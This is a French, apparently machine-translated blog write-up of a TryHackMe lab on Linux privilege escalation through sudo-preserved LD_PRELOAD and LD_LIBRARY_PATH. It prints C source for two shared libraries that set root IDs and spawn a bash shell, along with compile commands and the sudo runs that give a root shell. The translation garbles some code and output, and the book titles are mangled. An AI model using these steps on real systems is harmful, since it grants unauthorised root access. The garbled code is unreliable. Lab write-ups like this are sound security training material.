[TRYHACKME] Escalade du privilège en utilisant les variables d'environnement LD_PRELOAD et LD_LIBRARY_PATH! Linux PRIVEUP PARTIE 4

[TRYHACKME] Escalade du privilège en utilisant les variables d'environnement LD_PRELOAD et LD_LIBRARY_PATH! Linux PRIVESC ÉCRITURE PARTIE 4

Cette fois, nous essaierons d'escalade des privilèges à l'aide des variables d'environnement Linux "LD_PRELOAD" et "LD_LIBRARY_PATH".
La machine cible utilise la pièce ci-dessous de Tryhackme.
"Tryhackme-Linux Privesc: https://tryhackme.com/room/linuxprivesc "

Cet article est la partie 4.
Si vous souhaitez consulter l'écriture pour Linux PRIVSC avec TryhackMe, veuillez également consulter l'élévation du privilège à l'aide de gtfobins

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: ipusiron
¥3,850 (À partir de 21:11 le 07/08/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 12:26 le 07/09/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
table des matières

Préparation

Tout d'abord, démarrez la machine cible et connectez-la à la machine cible.

Démarrage de la machine cible

Tout d'abord, démarrez la machine cible.
Rejoignez "TryhackMe-Linux Privesc: https://tryhackme.com/room/linuxprivesc

Si l'adresse IP s'affiche comme ceci, le démarrage est OK.

Connexion SSH

Connectez-vous à la machine cible que vous avez commencé à utiliser SSH.
Comme expliqué, c'est OK tant que vous pouvez vous connecter à l'aide de "User: Password321".

└─ $ ssh user@10.10.6.35 L'authenticité de l'hôte '10 .10.6.35 (10.10.6.35) 'ne peut pas être établie. L'empreinte digitale de la clés DSA est SHA256: p2nssfvyjvk1qe0tsnx5g2h8aawyrn71jdz3ueodbma. Cette clé n'est connue par d'autres noms, êtes-vous sûr de continuer à vous connecter (oui / non / [empreinte digitale])? Oui Avertissement: Ajout en permanence '10 .10.6.35 '(DSA) à la liste des hôtes connus. user@10.10.6.35's: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 X86_64 Les programmes inclus avec le système Debian GNU / Linux sont un logiciel gratuit; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: ven 15 mai 06:41:23 2020 De 192.168.1.125 User @ debian: ~ $ sudo -l correspondant aux par défaut pour l'utilisateur sur cet hôte: Env_Reset, Env_keep + = ld_preload, Env_keep + = LD_LIBRARY_PATH

"-ohostkeyalgorithms = + ssh-rsa" doit être ajouté

Élévation des privilèges à l'aide de variables d'environnement

Les variables d'environnement vulnérables sont "ld_preload" et "ld_library_path".
Une brève explication est la suivante:

  • LD_PRELOAD: Utilisé pour précharger les bibliothèques. En spécifiant une bibliothèque partagée, il est possible de charger (ou d'exécuter) la bibliothèque partagée avant d'exécuter un programme.
  • LD_LIBRARY_PATH: Spécifie la liste dans laquelle les bibliothèques partagées sont recherchées. En spécifiant le répertoire où se trouve le fichier de bibliothèque, ce répertoire peut également être recherché.

Élévation du privilège à l'aide de LD_PRELOAD

Maintenant, je vais essayer d'utiliser "ld_preload" pour obtenir des privilèges racine.

Tout d'abord, vérifiez quels programmes peuvent être exécutés avec Sudo.
Vous pouvez voir que 11 programmes peuvent être exécutés avec Sodu.

user @ debian: ~ $ sudo -l correspondant aux inscriptions par défaut pour l'utilisateur sur cet hôte: Env_Reset, Env_keep + = ld_preload, Env_keep + = ld_library_path l'utilisateur peut exécuter les commandes suivantes sur cet hôte: (root) nopasswd: / usr / sbin / root) nopasswdwd: / usr / bin / find) / / bin / nano (root) nopasswd: / usr / bin / vim (root) nopasswd: / usr / bin / man (root) nopasswd: / usr / bin / awk (root) nopasswd: / usr / bin / moins (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp) (root) nopasswd: / usr / sbin / apache2 (root) nopasswd: / bin / Plus

Nous créerons une bibliothèque partagée qui sera chargée à l'avance.
Cependant, je pense qu'il y aura à l'avance "preload.c" sur la machine cible, donc je vais le compiler.

Il semble que Preload.C est un programme qui exécute un appel système et génère un shell "/ bin / bash".

utilisateur @ debian: ~ $ cat /home/user/tools/sudo/preload.c #include<stdio.h> #inclure<sys/types.h> #inclure<stdlib.h> void _init () {unsetenv ("ld_preload"); setResuid (0,0,0); système ("/ bin / bash -p"); }

Générez la bibliothèque partagée à partir de Preload.c.

Utilisateur @ debian: ~ $ gcc -fpic -shared -NostartFiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

Une fois que vous l'avez créé, lors de l'exécution d'un programme qui peut être exécuté avec Sudo, spécifiez ld_preload et exécutez-le.

Utilisateur @ debian: ~ $ sudo ld_preload = / tmp / preload.so Recherchez root @ debian: / home / user # whoami root

Vous avez pu devenir un utilisateur root.

Élévation du privilège à l'aide de LD_LIBRARY_PATH

Ensuite, nous essaierons également d'escalade des privilèges à l'aide de "ld_library_path".

Tout d'abord, exécutez la commande "LDD" à Apache2 pour afficher les dépendances sur les bibliothèques partagées pour vérifier les bibliothèques partagées.

user @ debian: ~ $ ldd / usr / sbin / apache2 linux-vdso.so.1 => (0x00007fff84ee8000) libpcre.so.3 => /lib/x86_64-inux-gnu/libpcre.so.3 (0x007fba94c5c000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 => /usr/lib/liba (0x00007fba947fe000) libpthread.so.0 => /lib/libpthread.so.0 (0x00007fba945e2000) libc.so.6 => /lib/libc.so.6 (0x00007fba94276000) libuUid.so.1 => / /libuuid.soid.1 (0x00007fba94071000) libt.so.1 => /lib/libt.so.1 (0x00007fba93e69000) libcrypt.so.1 => /lib/libdl.so.1 (0x00007fba93c32000) libdl.so.2 => / /libdl.so.2 (0x00007fba93a2d000) libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fba93805000) /lib64/ld-linux-x86-64.so.2 (0x00007fba95119000)

Il y a quelques dépendances, mais cette fois, nous créerons la même bibliothèque partagée que "libcrypt.so.1" et essayer de le charger.

Tout d'abord, créons une bibliothèque partagée.
Le contenu de "Library_Path.C" est le suivant:
Ce que vous faites n'est pas différent avant.

utilisateur @ debian: ~ $ cat /home/user/tools/sudo/library_path.c #include<stdio.h> #inclure<stdlib.h> statique void hijack () __attribute __ ((constructeur)); void hijack () {unsetenv ("ld_library_path"); setResuid (0,0,0); système ("/ bin / bash -p"); }

Créez une bibliothèque partagée nommée "libcrypt.so.1" à partir de "Library_path.c" ci-dessus.
L'emplacement de stockage est "/ TMP".

user @ debian: ~ $ gcc -o /tmp/libcrypt.so.1 -shared -fpic /home/user/tools/sudo/library_path.c

Lorsque vous exécutez APACHE2 avec Sudo, spécifiez le "/ tmp" stocké plus tôt dans LD_LIBRARY_PATH.

user @ debian: ~ $ sudo ld_library_path = / tmp apache2 apache2: /tmp/libcrypt.so.1: aucune information de version disponible (requise par /usr/lib/libaprutil-1.so.0) root @ debian: / home / user # whoami root root

Je pense que cela a permis à Root de dégénérer les privilèges!

résumé

Cette fois, j'ai essayé d'escalade des privilèges en utilisant les variables d'environnement Linux "LD_PRELOAD" et "LD_LIBRARY_PATH".
Le contenu était qu'en générant / bac / bash shell et en l'exécutant avec Sudo, vous pouvez obtenir le shell racine, mais je me demande si c'est possible. . . J'étais tout simplement intéressé.

Références et sites

Medium ( Shamsher Khan ): https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières